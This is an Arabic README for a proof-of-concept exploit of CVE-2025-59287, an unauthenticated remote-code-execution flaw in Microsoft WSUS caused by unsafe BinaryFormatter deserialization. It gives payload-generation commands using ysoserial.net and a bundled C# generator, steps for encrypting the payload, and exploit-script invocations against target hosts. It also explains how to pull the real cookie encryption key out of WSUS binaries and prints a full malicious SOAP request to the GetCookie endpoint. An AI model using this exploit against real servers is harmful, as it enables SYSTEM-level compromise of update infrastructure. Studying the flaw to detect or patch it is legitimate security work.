
إثبات مفهوم لاستغلال CVE-2025-59287، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة غير مصادق عليها في WSUS عبر إلغاء تسلسل غير آمن لـ BinaryFormatter، مما يحقق صلاحيات SYSTEM من خلال ملفات تعريف ارتباط مشفرة مصممة خصيصًا.
CVE-2025-59287 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في خدمة تحديث خوادم ويندوز (WSUS) من مايكروسوفت. تنتج الثغرة عن إلغاء تسلسل غير آمن لبيانات AuthorizationCookie عبر BinaryFormatter في طريقة EncryptionHelper.DecryptData().
التأثير: يمكن للمهاجمين غير المصادق عليهم تحقيق تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM عن طريق إرسال ملفات تعريف ارتباط مشفرة خبيثة إلى نقطة نهاية GetCookie().
درجة CVSS: حرجة (9.8)
BinaryFormatter.Deserialize() على مدخلات غير موثوقة دون تحقق مناسب┌─────────────────┐
│ المهاجم │
│ │
│ 1. توليد │
│ حمولة │
│ BinaryFmt │
│ │
│ 2. تشفير │
│ الحمولة │
│ │
│ 3. إرسال طلب │
│ SOAP │
└────────┬────────┘
│
▼
┌─────────────────┐
│ خادم WSUS │
│ │
│ نقطة نهاية │
│ GetCookie() │
│ │
│ DecryptData() │◄─── ثغرة
│ │
│ BinaryFormatter│◄─── إلغاء تسلسل غير آمن
│ Deserialize() │
│ │
│ تنفيذ │◄─── RCE بصلاحيات SYSTEM
│ الحمولة │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # سكربت الاستغلال الرئيسي
├── BinaryFormatterPayloadGenerator.cs # مولّد الحمولة .NET (C#)
├── encrypt_payload.py # أداة تشفير WSUS المساعدة
├── requirements.txt # تبعيات بايثون
└── README.md # هذا الملف
pip install -r requirements.txt
ysoserial.net كبديلالخيار أ: باستخدام مولّد C# المرفق
# ترجمة المولّد
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# توليد الحمولة
BinaryFormatterPayloadGenerator.exe calc.exe
# يُنشئ: payload_YYYYMMDDHHMMSS.bin
الخيار ب: باستخدام ysoserial.net (موصى به)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
مهم: مفتاح التشفير في encrypt_payload.py هو عنصر نائب. للاستغلال الفعلي، يجب عليك:
encrypt_payload.py بالمفتاح الحقيقي# باستخدام ملف الحمولة (سيتم التشفير أثناء التنفيذ)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# باستخدام ملف تعريف ارتباط مشفر مسبقًا
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# مع HTTPS (المنفذ 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# توليد وتشفير واستغلال في خطوة واحدة
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
يجب استخراج مفتاح التشفير من ملفات WSUS الثنائية للاستغلال الفعلي.
تحديد موقع ملفات WSUS DLL:
%ProgramFiles%\Update Services\WebServices\bin\
أو دليل ويب IIS:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
الفتح في dnSpy (مفكك .NET مجاني):
Microsoft.UpdateServices.WebServices.dllالبحث عن EncryptionHelper:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() و EncryptData()الأنماط الشائعة:
استخدام WinDbg أو x64dbg:
EncryptionHelper.DecryptData()استخدام Process Monitor:
استخدام IDA Pro أو Ghidra:
استخدام أداة strings:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
بمجرد حصولك على المفتاح الفعلي، قم بتحديث encrypt_payload.py:
# استبدل هذا السطر في encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # عنصر نائب
# بالمفتاح الفعلي:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
أو مرره عبر سطر الأوامر:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. توليد حمولة BinaryFormatter │
│ ObjectDataProvider → Process.Start() → تنفيذ الأوامر │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. تشفير الحمولة │
│ AES-128-CBC مع مفتاح تشفير WSUS │
│ ترميز Base64 للإرسال │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. إنشاء طلب SOAP │
│ رأس AuthorizationCookie يحتوي على الحمولة المشفرة │
│ طريقة GetCookie() في جسم SOAP │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. الإرسال إلى نقطة نهاية WSUS │
│ POST /ClientWebService/ClientWebService.asmx │
│ المنفذ 8530 (HTTP) أو 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. معالجة WSUS │
│ DecryptData() يفك تشفير ملف تعريف الارتباط │
│ BinaryFormatter.Deserialize() ينفذ الحمولة │
│ → RCE بصلاحيات SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>